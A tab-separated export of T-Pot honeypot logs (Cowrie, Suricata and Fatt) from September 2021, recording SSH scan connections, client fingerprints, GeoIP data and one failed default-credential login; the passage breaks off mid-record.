20164	118.70.233.117	109.199.241.180	Cowrie	2021-09-20 14:03:57.858817+03	2021-09-20 14:15:02.039613+03	{"_id": "3QXgAnwBvYTbRNuEefj2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "118.70.233.117", "asn": 18403, "as_org": "The Corporation for Financing & Promoting Technology", "latitude": 21.0313, "location": {"lat": 21.0313, "lon": 105.8516}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Hanoi", "longitude": 105.8516, "region_code": "HN", "region_name": "Hanoi", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "118.70.233.117", "eventid": "cowrie.login.failed", "message": "login attempt [ubuntu/root] failed", "session": "57ce6324e96a", "@version": "1", "password": "root", "username": "ubuntu", "timestamp": "2021-09-20T11:03:57.858817Z", "@timestamp": "2021-09-20T11:03:57.858Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
20165	5.188.62.250	109.199.241.180	Cowrie	2021-09-20 14:03:57.910264+03	2021-09-20 14:15:02.041615+03	{"_id": "2gXgAnwBvYTbRNuEefj1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes128-gcm@openssh.com", "chacha20-poly1305@openssh.com", "aes128-ctr", "aes192-ctr", "aes256-ctr", "aes128-cbc", "arcfour", "3des-cbc"], "geoip": {"ip": "5.188.62.250", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "hassh": "fb9ea37f5a326a02ad94bd4e431b024c", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512", "hmac-sha2-256", "hmac-sha1", "hmac-sha1-96"], "compCS": ["none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "5.188.62.250", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ssh-ed25519-cert-v01@openssh.com", "ecdsa-sha2-nistp256", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp521", "ssh-rsa", "ssh-dss", "ssh-ed25519"], "message": "SSH client hassh fingerprint: fb9ea37f5a326a02ad94bd4e431b024c", "session": "0a2eba02f974", "@version": "1", "timestamp": "2021-09-20T11:03:57.910264Z", "@timestamp": "2021-09-20T11:03:57.910Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none"}}	1	\N	cowrie.client.kex	\N	\N	\N
20166	5.188.62.250	109.199.241.180	Suricata	2021-09-20 14:03:57.908961+03	2021-09-20 14:15:02.042615+03	{"_id": "3wXgAnwBvYTbRNuEfPjB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "Go"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "5.188.62.250", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "5.188.62.250", "dest_ip": "192.168.20.116", "flow_id": 776065871904053, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 44082, "dest_port": 22, "timestamp": "2021-09-20T11:03:57.908961Z", "@timestamp": "2021-09-20T11:03:57.908Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
20167	5.188.62.250	109.199.241.180	Fatt	2021-09-20 14:03:57.909547+03	2021-09-20 14:15:02.044614+03	{"_id": "6QXgAnwBvYTbRNuEffjf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "5.188.62.250", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "src_ip": "5.188.62.250", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ssh-ed25519-cert-v01@openssh.com,ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss,ssh-ed25519", "hassh": "fb9ea37f5a326a02ad94bd4e431b024c", "ccacts": "none", "ccastc": "none", "ceacts": "aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour,3des-cbc", "ceastc": "aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour,3des-cbc", "client": "SSH-2.0-Go", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none"}, "protocol": "ssh", "src_port": 44082, "dest_port": 22, "timestamp": "2021-09-20T11:03:57.909547", "@timestamp": "2021-09-20T11:03:57.909Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
20168	123.124.200.114	109.199.241.180	Cowrie	2021-09-20 14:03:58.705119+03	2021-09-20 14:15:02.045615+03	{"_id": "6gXgAnwBvYTbRNuEffjf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "123.124.200.114", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "123.124.200.114", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "c32403a8fc8d", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:03:58.705119Z", "@timestamp": "2021-09-20T11:03:58.705Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
20169	123.124.200.114	109.199.241.180	Suricata	2021-09-20 14:03:59.05117+03	2021-09-20 14:15:02.046614+03	{"_id": "7AXgAnwBvYTbRNuEgPiq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "123.124.200.114", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "123.124.200.114", "dest_ip": "192.168.20.116", "flow_id": 1034567068574762, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 3731, "dest_port": 22, "timestamp": "2021-09-20T11:03:59.051170Z", "@timestamp": "2021-09-20T11:03:59.051Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
20170	159.75.114.202	109.199.241.180	Suricata	2021-09-20 14:03:51.186945+03	2021-09-20 14:15:02.048616+03	{"_id": "pQXgAnwBvYTbRNuEYfhk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {"ip": "159.75.114.202", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "159.75.114.202", "dest_ip": "192.168.20.116", "flow_id": 2050943161378144, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 43032, "dest_port": 22, "timestamp": "2021-09-20T11:03:51.186945Z", "@timestamp": "2021-09-20T11:03:51.186Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
20171	159.75.114.202	109.199.241.180	Fatt	2021-09-20 14:03:51.187045+03	2021-09-20 14:15:02.050642+03	{"_id": "qAXgAnwBvYTbRNuEYfj6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {"ip": "159.75.114.202", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "159.75.114.202", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 43032, "dest_port": 22, "timestamp": "2021-09-20T11:03:51.187045", "@timestamp": "2021-09-20T11:03:51.187Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
20172	159.75.114.202	109.199.241.180	Cowrie	2021-09-20 14:03:51.187682+03	2021-09-20 14:15:02.051643+03	{"_id": "qQXgAnwBvYTbRNuEYvg4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "159.75.114.202", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "159.75.114.202", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "c7c1d7d01de4", "@version": "1", "timestamp": "2021-09-20T11:03:51.187682Z", "@timestamp": "2021-09-20T11:03:51.187Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
28691	192.168.20.103	109.199.241.180	Suricata	2021-09-20 14:19:07.930942+03	2021-09-20 14:30:03.166556+03	{"_id": "oQbuAnwBvYTbRNuEXS--", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.103", "stream": 0, "dest_ip": "224.0.0.1", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T11:19:07.930942Z", "@timestamp": "2021-09-20T11:19:07.930Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
20173	95.85.8.215	109.199.241.180	Suricata	2021-09-20 14:03:52.325342+03	2021-09-20 14:15:02.052642+03	{"_id": "qgXgAnwBvYTbRNuEZfhN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "95.85.8.215", "dest_ip": "192.168.20.116", "flow_id": 849045955823709, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 38975, "dest_port": 22, "timestamp": "2021-09-20T11:03:52.325342Z", "@timestamp": "2021-09-20T11:03:52.325Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
20174	95.85.8.215	109.199.241.180	Fatt	2021-09-20 14:03:52.325422+03	2021-09-20 14:15:02.054642+03	{"_id": "qwXgAnwBvYTbRNuEZfjj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "95.85.8.215", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 38975, "dest_port": 22, "timestamp": "2021-09-20T11:03:52.325422", "@timestamp": "2021-09-20T11:03:52.325Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
20175	95.85.8.215	109.199.241.180	Cowrie	2021-09-20 14:03:52.26951+03	2021-09-20 14:15:02.055615+03	{"_id": "rAXgAnwBvYTbRNuEZvhp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "95.85.8.215", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 95.85.8.215:38975 (192.168.176.2:22) [session: 1478cd8a8a3b]", "session": "1478cd8a8a3b", "@version": "1", "protocol": "ssh", "src_port": 38975, "dest_port": 22, "timestamp": "2021-09-20T11:03:52.269510Z", "@timestamp": "2021-09-20T11:03:52.269Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
20176	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:03:52.27452+03	2021-09-20 14:15:02.057613+03	{"_id": "sQXgAnwBvYTbRNuEZvhq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "95.85.8.215", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 38975, "timestamp": "2021-09-20T11:03:52.274520", "@timestamp": "2021-09-20T11:03:52.274Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
20177	95.85.8.215	109.199.241.180	Cowrie	2021-09-20 14:03:52.325944+03	2021-09-20 14:15:02.058612+03	{"_id": "tQXgAnwBvYTbRNuEZvhq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "95.85.8.215", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "1478cd8a8a3b", "@version": "1", "timestamp": "2021-09-20T11:03:52.325944Z", "@timestamp": "2021-09-20T11:03:52.325Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": 